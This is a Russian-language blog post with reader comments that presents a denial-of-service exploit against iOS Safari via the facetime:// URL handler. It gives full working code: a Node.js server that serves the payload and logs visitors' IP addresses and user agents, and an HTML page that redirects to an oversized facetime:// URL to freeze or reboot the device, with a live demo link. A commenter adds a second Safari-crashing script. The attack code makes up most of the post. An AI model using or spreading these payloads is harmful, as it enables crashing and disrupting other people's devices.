Ребутим iOS. Просто и со вкусом

    Приятного времени суток, господа и дамы!
    Данный пост будет очень коротким, к сожалению, но ведь это демонстрация уязвимости, которой подвержены многие iOS устройства.





    Подвержены почти все iOS устройства 7 ветки, и частично 6'ой. Больше не смог протестировать. Буду крайне благодарен, если вы отпишетесь в комментариях о поведении вашего устройства.

    Демонстрация работы:

    (увы, уже отсутствует)

    r0sheR.js:

    console.log("      _____      _         ______   _     ");
    console.log("     |  _  |    | |        | ___ \\ (_)    ");
    console.log(" _ __| |/' | ___| |__   ___| |_/ /  _ ___ ");
    console.log("| '__|  /| |/ __| '_ \\ / _ \\    /  | / __|");
    console.log("| |  \\ |_/ /\\__ \\ | | |  __/ |\\ \\ _| \\__ \\");
    console.log("|_|   \\___/ |___/_| |_|\\___\\_| \\_(_) |___/");
    console.log("r0sheR.js is a part of IOS EX kit _/ |");    
    console.log(" fil9 (2013) fil9bob@gmail.com   |__/");
    var lport = process.argv[2];
    if (!lport) {
        console.log('Usage: ' + process.argv[0] + ' ' + process.argv[1] + ' [80,8080...]');
        process.exit(1)
    } else {
        if (lport <= 0 || lport > 65535) {
            console.log("Invalid port!\n");
            process.exit(1)
        }
    };
    var http = require('http'),fs=require('fs');
    http.createServer(function (rq, rs) {
        rs.writeHead(200, {
            'Content-Type': 'text/html'
        });
        console.log('[!] New request from: ' + rq.connection.remoteAddress);
        console.log('[!] UserAgent: ' + rq.headers['user-agent']);
        fs.readFile('./page.html', function(err,data){
        if (err) throw err; 
        rs.end(data);
        });
        console.log('DOS parcel sent :)')
    }).listen(lport, '0.0.0.0');
    


    page.html: < — payload отдельно. Как показала практика, так удобней
    <html>
    <head>
    <title>IOS 7 CRASH</title>
    </head>
    <body>
    <script>
    document.location.replace("data:text/html,%3Cscript%3Eif(navigator.userAgent.indexOf('Safari') != -1){var a,b='';for(var i=1;i<=300000;i++) a='A'+a; document.location.replace('facetime://'+a+a+a+a)}%3C/script%3E");
    </script>
    </body>
    </html>
    


    Демо: http://sn.im/28gw4wx

    Баг заключается в том, что Safari позволяет запустить FaceTime напрямую. Злоумышленник может воспользоватся этим и вызвать отказ в обслуживании. Ну и кое-что еще.

    P.S: Недавно узнал, что в версии iOS 7.0.5 будет закрыта уязвимимость, использованная evasi0n7.
    Как знать, может стоит ожидать JB уже для iOS 7.1 :)
    Share post

    Comments 30

      +3
      iPad 3, iOS 7.0.4 с джейлом — всё, как на видео. Только закладки не вызываются до перезагрузки.
        +1
        iPad mini, iOS 6.1.2, jailbroken — завис намертво, только значок загружки продолжал крутиться.
        Самое интересное было потом — запустить Safari и успеть закрыть вкладку-убийцу :)
        Если у кого не получится и с третьего раза, то
        Скрытый текст
        можно в настройках включить-выключить порно-режим с закрытием всех вкладок.
          0
          Включаем режим полёта, запускаем Safari, закрываем плохую вкладку и выключаем режим полёта обратно.
            +3
            А вы попробуйте так сделать. Это не работает, потому что весь эксплоит содержится в адресной строке, а наоборот мешает, так как появляется окно с уведомлением о включенном режиме полёта, и пока его закроешь, всё уже зави
              0
              Да, поторопился конечно же, действительно так не выйдет. Тогда только порно-режим поможет…
                0
                Yarullin ниже подсказывает, что можно отключить Javascript.
          0
          Странно, у меня тоже iPad 3, iOS 7.0.4 с джейлом и все работает стабильно! Джейл ставил еще в первый день его выхода.
            0
            iPad mini ritina WiFi, 16 iOS 7.0.4 — наглухо! Но, если открыть ссылку в сафари. Если открывать с твитера, то нечего не происходит.
            0
            Для 7.1 кстати evasion делает джейл, даже на 3 бете.
              0
              Ну пока 7.1 в бете, должно работать. Но Apple грозится, что закроет дырку уже в 7.0.5. А 7.1 еще только в Марте выйдет.
              0
              Оффтоп. А что за чехол на телефоне?
                +3
                Кажется, это айпод.
                  0
                  во, точно, с перепуга не заметил.
              • UFO just landed and posted this here
                  0
                  Согласен, по сути, работает только строка с вызовом локации «facetime://...», куда можно отправить любым образом?
                  • UFO just landed and posted this here
                  0
                  Толи ссылка «демо» не работает, толи у меня не воспроизводится. Ios 7.04, iphone 5c.
                    0
                    Поторопился в выводами, заработало. Первый раз стормозил и открыл не через safari.
                    0
                    Ipad mini ios 6.1.2 — ведет себя в соответствие с видео. Вот только сам не ребутился — возможно я не дождался просто
                      0
                      Оффтоп, но всё же.

                      Вот старый и бородатый java-script убивающий Safari на IOS'ях.

                      <html>
                      <body>
                      <script>
                        var a = "wait ";
                        for (i=0; i<200000; i++) {
                          a = a + "a<br>\n";
                        }
                      document.write(a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a);
                      alert(a+a+a+a+a+a+a+a+a+a+a);  
                      alert(a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a+a);
                      </script>
                      </body>
                      </html>
                      
                        +4
                        самое смешное, что сафари запоминает последнюю открытую вкладку.
                        и после перезагрузки при открытии сафари происходит то же самое )

                        Лечится временным отключением JS в сафари, если кто попался
                          0
                          На iOS 5.1.1 Safari подвис, но потом отвис. Устройство не перезагрузилось.
                            0
                            iPad 3 (iOS 7.0.4) — всё как на видео
                              0
                              Ради интереса открыл в хроме на нексус 5. Итог — окошко с адресом почты и хром падает.
                                0
                                WP IE тоже ведет себя не до конца корректно: предлагает найти приложение в магазине для работы с документом:
                                Скрытый текст

                                • UFO just landed and posted this here
                                –2
                                Объясните что нужно сделать? АйМалаца 4, семерка, кликал по ссылке «Демо: sn.im/28gw4wx», вводил адрес как на видео — все работает.
                                  0
                                  На OSX в сафари при открытии этого скрипта тоже FaceTime стартует. В хроме сначала предлагает запустить FaceTime вручную. Интересно, никто не использует это на сайтах в виде Call now via FaceTime?
                                    0
                                    iPad 1 (iOS 5.1.1) Ничего не произошло. safari, chrome.
                                      0
                                      7.1 — телефон завис, через пару минут перегрузился

                                      Only users with full accounts can post comments. Log in, please.